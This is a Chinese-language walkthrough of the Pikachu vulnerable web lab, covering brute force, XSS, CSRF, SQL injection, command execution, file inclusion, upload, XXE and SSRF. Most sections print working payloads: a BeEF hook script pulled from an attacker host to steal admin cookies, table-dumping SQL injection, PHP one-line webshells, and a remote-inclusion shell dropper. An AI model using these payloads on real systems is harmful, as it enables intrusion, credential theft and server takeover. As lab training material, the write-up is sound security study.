目录
暴力破解:
1.基于表单的暴力破解:
2.验证码绕过(on server):
3.验证码绕过(on client):
token防爆破:
XSS:
1.反射型xss(get):
2.反射性xss(post):
3.存储型xss:
4.DOM型xss:
5.DOM型xss-x:
6.xss盲打:
7.xss之过滤:
8.xss之htmlspecialchars:
9.xss之href输出:
10.xss之js输出:
CSRF:
介绍:
1.CSRF(get):
2.CSRF(post):
3.CSRF Token:
SQL注入:
介绍:
1. 数字型注入(post):
2. 字符型注入(get):
3. 搜索型注入 :
4.xx型注入:
5."insert/update"注入:
6."delete"注入:
7."http header"注入:
8. 基于boolian的盲注:
9. 基于时间的盲注:
10. wide byte注入:
RCE:
介绍:
1. exec "ping" :
2. exec "eval" :
File Inclusion:
1. 本地文件包含:
2. 远程文件包含
Unsafe Filedownload
Unsafe upfileupload
1.client check
2.MIME type
3.getimagesize
Over Permission
1.水平越权:
2.垂直越权:
../../(目录遍历):
敏感信息泄露:
PHP反序列化:
概述:
利用方式:
XXE:
概述:
XXE:
Url重定向:
概述:
url跳转:
SSRF:
概述
SSRF漏洞的危害
1.SSRF(curl):
2.SSRF(file_get_content)
暴力破解:
1.基于表单的暴力破解:
个人理解:无验证码和各种校验程序,最为简单的暴力破解。
随便输入错误的账密,burp抓包,把数据包丢到爆破模块,模式选 Cluster bomb,把账密添加一下 payload ,随便添加几个账密,开始爆破。
长度不一样即爆破成功。
2.验证码绕过(on server):
个人理解:每次请求验证码时会刷新,手动点击验证码图片的时候会刷新,但是我们可以用重复的验证码去爆破,也就是验证码存在不过期,可以重复利用。
这里是输入错误的验证码,修改成正确的之后,发现重复放包时都不会出现验证码错误,这里不要点渲染页面,不然会重新请求验证码。
将包丢到爆破模块,重复利用该验证码即可。
3.验证码绕过(on client):
个人理解:验证码校验过程是在前端进行的,后端是不会进行校验的,所以这里随便输入啥都可以。
网页源码:检查inputCode是否等于一个名为code的变量。如果它们不相等,它显示一个警告消息,内容为"验证码输入错误!",并调用一个名为createCode()的函数来刷新验证码。
我们在页面,随便输入账密,正确的验证码,数据才会提交到后端,bp才能抓到包。
这里不管把验证码修改成啥,回显依旧是这个,直接进行爆破即可。
token防爆破:
随便输入账密,开始抓包,丢入爆破模块。
token是每次请求下发一个,所以线程设置为1
模式选择递归,
爆破成功:
XSS:
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。
1.反射型xss(get):
这里是用get请求做了一个长度的限制,我们使用hackbar来进行传参,页面会弹出一个xss,证明存在xss漏洞,我们顺便讲一下 beef-xss工具。
<script>alert('xss')</script>
我们先登录平台,在靶场这里输入上面的XSS重定向。
上线后,即可看见盗取浏览器的cookie等操作。
2.反射性xss(post):
这里我们首先登陆一下,
利用burp抓包修改以下代码。即可返回当前的cookie。
<script>alert(document.cookie)</script>
3.存储型xss:
个人理解:多数在留言板或者评论区,任意用户访问到该页面时,都会存在你的恶意代码。
这里一样的,输入以下代码,我们访问试试。任何人访问时都会进行弹窗。
<script>alert(document.cookie)</script>
4.DOM型xss:
在输入框随便输入 11 ,F12 可以看见,11 被添加在了 <a> </a> 标签里面(html的超链接标签)
开始构建payload
以下是源码部分
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
---------------------------------------------------
<a href=''>what do you see?</a>
这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'>
点击 what do you see? 的超链接时就可以进行弹框。
我们还可以有其他操作。
<a href=''>what do you see?</a>
这里很明显 我们要在引号上做更多的操作
我们输入 '> 变成了<a href=''>'>what do you see?</a>
很明显我们可以构造一个点击事件 'onclick='alert(1)'>
点击 what do you see? 的超链接时就可以进行弹框。
我们可以添加一个图像和一个错误事件,当找不到图像的地址时就可以利用 onerror 事件来进行弹框
'onclick='alert(1)'><img src=''onerror='alert('xss')'/>
'><img src=''onerror='alert(1)'/>
即变成<a href=''><img src=''onerror='alert(1)'/>'>what do you see?</a>
输入 '><img src=''onerror='alert(1)'/> 提交后,即可直接弹窗。
5.DOM型xss-x:
这题和上面的没啥区别,先看看源码。
点击<a></a>标签执行 function domxss() 弹出 xss。
payload
'onclick='alert(1)'>
function domxss(){
var str = window.location.search; 获取当前URL的查询字符串部分
var txss = decodeURIComponent(str.split("text=")[1]); 将查询字符串按照"text="进行分割,返回一个数组,用于解码字符串,将特殊字符转换为原始字符。
var xss = txss.replace(/\+/g,' '); 是一个正则表达式,用于匹配加号字符。函数将匹配到的加号字符替换为空格
// alert(xss); 最后,将处理后的字符串赋值给变量xss
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
6.xss盲打:
先提交数据,再看看提示,登录后台,可以看见提交的数据。
我们再次利用 beef-xss 在上方输入框输入:
<script src="http://192.168.10.129:3000/hook.js"></script>
我们点击提交,在登陆后台,beef-xss 即可上线。获取后台登陆cookie。
7.xss之过滤:
我们尝试的输入:
<script>alert(1)</script>
回显只留下了 >
srcipt
没有过滤
<script>
只保留 > 发现是过滤的 <scrip
方法很简单,不用 <script></script> 标签即可。
我们添加一个图像和一个 onerror 事件。
<img src=''onerror='alert(1)'/>
8.xss之htmlspecialchars:
htmlspecialchars是php的一个函数,可以输入和返回一个字符串。
我们将 <script> 输入得到 <script>
<?php
echo htmlspecialchars("<script>");
<script>
很明显是把 < > 转义了。
我们在输入框中输入 <srcipt> 看源代码得到
我们可以看到 ' 是没有被转义的,所以我们创建一个点击事件。
'onclick='alert(1)'
OK,成功弹窗。
9.xss之href输出:
这里我们在输入框随便输入 1234 ,发现没有效果,看看源码,发现 ' 被转义。
输入框输入: 'οnclick='alert(1)'
'onclick='alert(1)'
'onclick='alert(1)'
10.xss之js输出:
输入框输入 <script>alert(1)</script> 页面毫无变化。
查看源码:
<script>
$ms='<script>alert(1)</script>';
//输入的字符变成了变量,我们构造一下
//$ms='';
//$ms='';alert(1);//'; //这样子即可
// payload ';alert(1);//
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
输入尝试,成功弹窗。
CSRF:
介绍:
Cross-site request forgery简称为"CSRF”。
在CSF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接)
然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了(本题是修改个人信息)。
所以CSRF攻击也被称为为"one click'"攻击。
1.CSRF(get):
我们先登录lucy的账号,点击修改信息,顺便用bp抓个包。
成功抓到数据包,看到get请求:
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
我们把性别改成男:
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
若lucy此时登录了该网站,点击了我们构造的 url 就会修改个人信息。
这里也可以使用一些短链接的方式。lucy访问该网站即可修改信息。
2.CSRF(post):
这里依旧拿lucy的个人信息实验,我们点击随便修改一下个人信息,顺便bp抓包。
此时 lucy 信息:
post传参的话,需要我们自己创一个表单,进行提交。
sex=boy&phonenum=111111&add=beijing&email=lucy%40pikachu.com&submit=submit
--------------------
我们自己创一个html的文件,放到服务器上,
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="111222" />
<input type="hidden" name="add" value="beijing" />
<input type="hidden" name="email" value="lucy@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/>
<!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>
利用phpstudy将文件路径放到pikachu目录下,访问后修过成功。
http://127.0.0.1/pikachu/srf_post.php
3.CSRF Token:
这个时候,我们可以利用 burp suite 的插件 CSRF Token Tracker 来绕过
此时lucy个人信息如下,和抓包信息。
插件信息:
修改数据包,刷新lucy的个人信息即可发现数据被更改。
SQL注入:
介绍:
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
1. 数字型注入(post):
输入框输入1,用 hackbar 分割 url ,和传参。
我们先猜想一下查询语句原理:
$id=$_POST['id'];
select name,email from users where id=1; //大概就是将输入的id传进去
构造payload:
select name,email from users where id=1 or 1 = 1;
SQL注入成功,爆出当前的所有信息,我们继续使用联合查询爆出其他信息。
select name,email from users where id=1 or 1 = 1;
select name,email from users where id=1 union select 1,2
只发现两个字段。我们去爆库,爆表啥的。
爆出数据库名:
1 union select 1,database()
爆出所有表名:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
爆破所有字段:
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='member'
爆出字段信息:
1 union select 1,group_concat(username,email) from member
2. 字符型注入(get):
题目明确给出了是字符型的注入,则传递的参数在SQL语句中是有单引号或者双引号的。
我们猜测一下其原理:
语句皆为推测:
$id=$_GET["lucy"]
select username,email from users where id="$id"; //可能是单引号可能是双引号;
先考虑为 "
lucy"# //出现报错
考虑为 '
lucy'# //成功查询
爆库爆表等操作直接拼接即可。
3. 搜索型注入 :
这个就类似mysql的模糊查询,关键字是like。
其语法是:
selcet * from tables where columns like '%lu%'
在此题我们同样是考虑闭合和单双引号,由上题可知这个靶场的作者用的全是单引号
我们可以看到是get传参,我们开始构造原理。
$name=$_GET[name];
select name,email from users where like '%$name%';
构造闭合:
'%xxx%'#%'---->xxx%'#
我们直接遍历当前表的数据:
xxx%'or 1=1#
4.xx型注入:
不知道什么是XX型,但是我们要清楚,不管是什么类型只要能成功闭合就NB,我们去看看后端代码:
=('')
这种形式挺好构造闭合的
=('') or 1=1#') --->') or 1=1# //很简单
遍历数据:
5."insert/update"注入:
insert/update 再结合靶场,很明显这里是通过注册来插入或者修改来存放数据。
也就是 mysql 的 插入和 修改 语句。
我们可以先看一下当前数据库,来先构造 insert 语句。
insert into member (id,username,pw,sex,phonenum,address,email) values (8,'kitha',111,'boy',111111,'usa',111);
可以用 or 来构造闭合:
题目是提交5个数据
insert into member (username,pw,sex,phonenum,address,email) values ('kitha',111,'boy',111111,'usa',111);
构造爆库payload
insert into member (username,pw,sex,phonenum,address,email) values ('1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '',111,'boy',111111,'usa',111);
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
6."delete"注入:
我们随便删一个数据,再用bp抓包看一下。
可以看到这里是把 id 直接拼接到sql语句里面。
猜测sql语句:
delect from infromation where id =$id;
$id = $_GET[id];
爆库:
1 or extractvalue(1, concat(0x7e,(select database()),0x7e))
使用bp修改数据放包。get请求记得url编码。
7."http header"注入:
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
我们先登录看看,很明显是后端对我们的客户端信息进行了获取。
我们用bp抓包,把 user-agent 修改,放包,查看回显,发现报错,可以判断这个存在SQL注入。这里可能是获取了user-agent 信息,再 insert 到数据库。我们直接构造payload。
报错注入:
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
8. 基于boolian的盲注:
介绍:
基于boolean的盲注主要表现症状:
1.没有报错信息。
2.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)2.在正确的输入下,输入and 1=1/and 1=2发现可以判断。
经过多次测试发现:
kobe' and 1=1#
kobe' and 1=2#
第一个有正确的回显,第二个不是,则可以判断出这个存在注入。
很明显回显只有两种,且我们的语句都为真,才能出现正确的回显。我们可以利用,length(),substr(),ascii()等等,来拼接,根据回显来一个一个来判断和获取字符。(超级麻烦,建议这种直接交给工具)。
我们先来对数据库名的长度来判断。
kobe' and length(database())>6#
kobe' and length(database())>7#
这里就可以判断出数据库的长度为7。
我们再对第一个字符进行判断。
kobe' and ascii(substr(database(),1,1))=112# //ascii表 112对应p
这里就可以判断出数据库的第一个字符为p,以此类推可以判断出所有的字符。
9. 基于时间的盲注:
介绍:
如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload: 1 and sleep(5)#
这里不管输入啥,回显都是一样的。
我们输入 kebo' sleep(5)# 页面会加载5秒才会回显 说明存在时间注入。
kobe' sleep(5)#
我们再构造payload来取数据库名的第一个字符,输入以下payload,页面加载5秒才会显说明 if 的判断为真。
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
可以判断出,当前数据库名的第一个字符为p。
10. wide byte注入:
介绍:
php和mysql默认的字符集不同。
宽字节注入原理
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生。
' ---> \'
%27 ---> %5c%27
%df%5c%27 --->%df%5c(被当成汉字)%27
由上,我们构造 payload:
kobe%df' or 1=1#
RCE:
介绍:
RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。
1. exec "ping" :
这里是实现ping功能。
我们首先得知道,逻辑运算符
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
(Linux中的&是后台运行,最后和;是一样的效果。。。当然最后的结果都是一样的)
Command 1||Command 2
当Command1执行成功,就不执行Command2,只有当Command1执行失败才会执行Command2。
Command 1|Command 2
不管Command1是否可以执行成功,都会写很执行Command2。
lunux:
Command 1;Command 2
终止Command 1执行Command 2。
我们先尝试ping本地:
这里就比较简单了,想让你自己的命令成功执行,可以用连接符 | 。
payload:
127.0.0.1|whoami
2. exec "eval" :
eval()函数:会将符合PHP 语法规范字符串当作php代码执行。
我们直接输入 phpinfo();
我们写一个一句话木马,再用webshell连接一下。
file_put_contents('shell.php','<?php eval(@$_POST[0]);?>');
蚁剑连接成功。
File Inclusion:
File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
1. 本地文件包含:
这里随便选一个参数,点击执行,在 url 这里发现 ?filename 这里是传入了一个本地文件。
我们就可以读取服务器上的本地文件。例如Windows上的 win.ini 文件,linux上的 /etc/passwd 文件等等。
这里发现不能用绝对路径,我们用相对路径成功读取系统文件。
C:/../../../../Windows\win.ini
2. 远程文件包含
同样的原理,这里也是在 ?filename= 后边接上文件名进行传参。
接上 http://www.baidu.com 发现直接变成了 百度的页面,,笑死。
我们开启一个http服务,目录下放个生成一句话木马的php脚本,再写上url试试。
<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[kitha]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
访问后页面并没有变化,但再对应已经生成的木马文件。
蚁剑成功连接。
Unsafe Filedownload
任意点击一个图片进行下载,发现下载的url。
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png
构造payload:
即可下载 当前页面的源码,可以进行路径穿越来下载一些重要的配置文件来获取信息。
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../down_nba.php
漏洞的根本是没有对 filename 来进行过滤。
Unsafe upfileupload
1.client check
客户端检测,前端js检测,禁用js和修改后缀名即可。
php格式不能上传,我们修改后缀上传。
蚁剑成功连接。
2.MIME type
这个就是 content-type 规定上传类型,上面的方法也能成功,也可以修改 conten-type 类型来实现。
先上传 php木马,抓到content-type类型。
jpg/png:image/jpeg
php:application/octet-stream
修改 content-type
3.getimagesize
修改 content-type 和 后缀名 都无法用了,这里我们制作图片木马。
我们在任意一个图片文件的最后一行加上 <?php phpinfo(); ?> 。
Over Permission
1.水平越权:
同等权限用户的越权
用户信息:lucy/123456,lili/123456,kobe/123456
登录lucy的账号,在url将参数lucy换成lili,页面依旧是登陆后的页面即可完成水平越权:
2.垂直越权:
不同权限的用户的越权,A>B但是B能使用A的权限即为完成垂直越权。
用户信息:admin/123456,pikachu/000000,admin是超级boss
登录admin用户,比pikachu用户多出“添加用户”的功能
url:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php
登录pikachu用户:
粘贴 admin 添加用户的url:
即可发现 pikachu也可以添加用户
../../(目录遍历):
修改url:
..\..\..\..\..\..\windows\win.ini
敏感信息泄露:
概述:
敏感信息泄露概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
随便输入一个账号密码,,提示错误。查看源码:
PHP反序列化:
概述:
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
利用方式:
将序列化后的字符串嵌入xss恶意代码,实现弹窗和恶意跳转等。
O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
O:1:"S":1:{s:4:"test";s:64:"<script>window.location.replace('http://www.baidu.com')</script>";}
XXE:
概述:
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
XML实体注入攻击是一种常见的安全漏洞,利用了XML解析器的功能,通过在XML中插入恶意实体来访问本地或远程系统上的文件,甚至执行任意命令
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
XXE:
通过定义一个名为"f"的外部实体,它的内容来自于Windows系统中的hosts文件。然后在XML中引用了这个外部实体,这样在解析XML时,就会尝试解析并读取文件的内容。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY a SYSTEM "file:///C:/Windows/win.ini">
]>
<x>&a;</x>
利用方式参考:XXE漏洞利用技巧:从XML到远程代码执行
Url重定向:
概述:
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。
url跳转比较直接的危害是:
-->钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
url跳转:
开启bp抓包:
传入参数:
?url=http://xxx.com
SSRF:
概述
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
SSRF漏洞的危害
- 1)扫描内网开放的端口
- 2)读取主机任意文件
- 3)攻击内网应用,如redis,mysql等
1.SSRF(curl):
- 1)HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
- 2)file:本地文件传输协议,可以用来读取任意系统文件
- 3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
- 4)ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell
例如用file协议读取文件:
2.SSRF(file_get_content)
- fopen / file_get_contents 只能使用 GET 方式获取数据。
使用php://filter/读php源代码
file协议读取文件: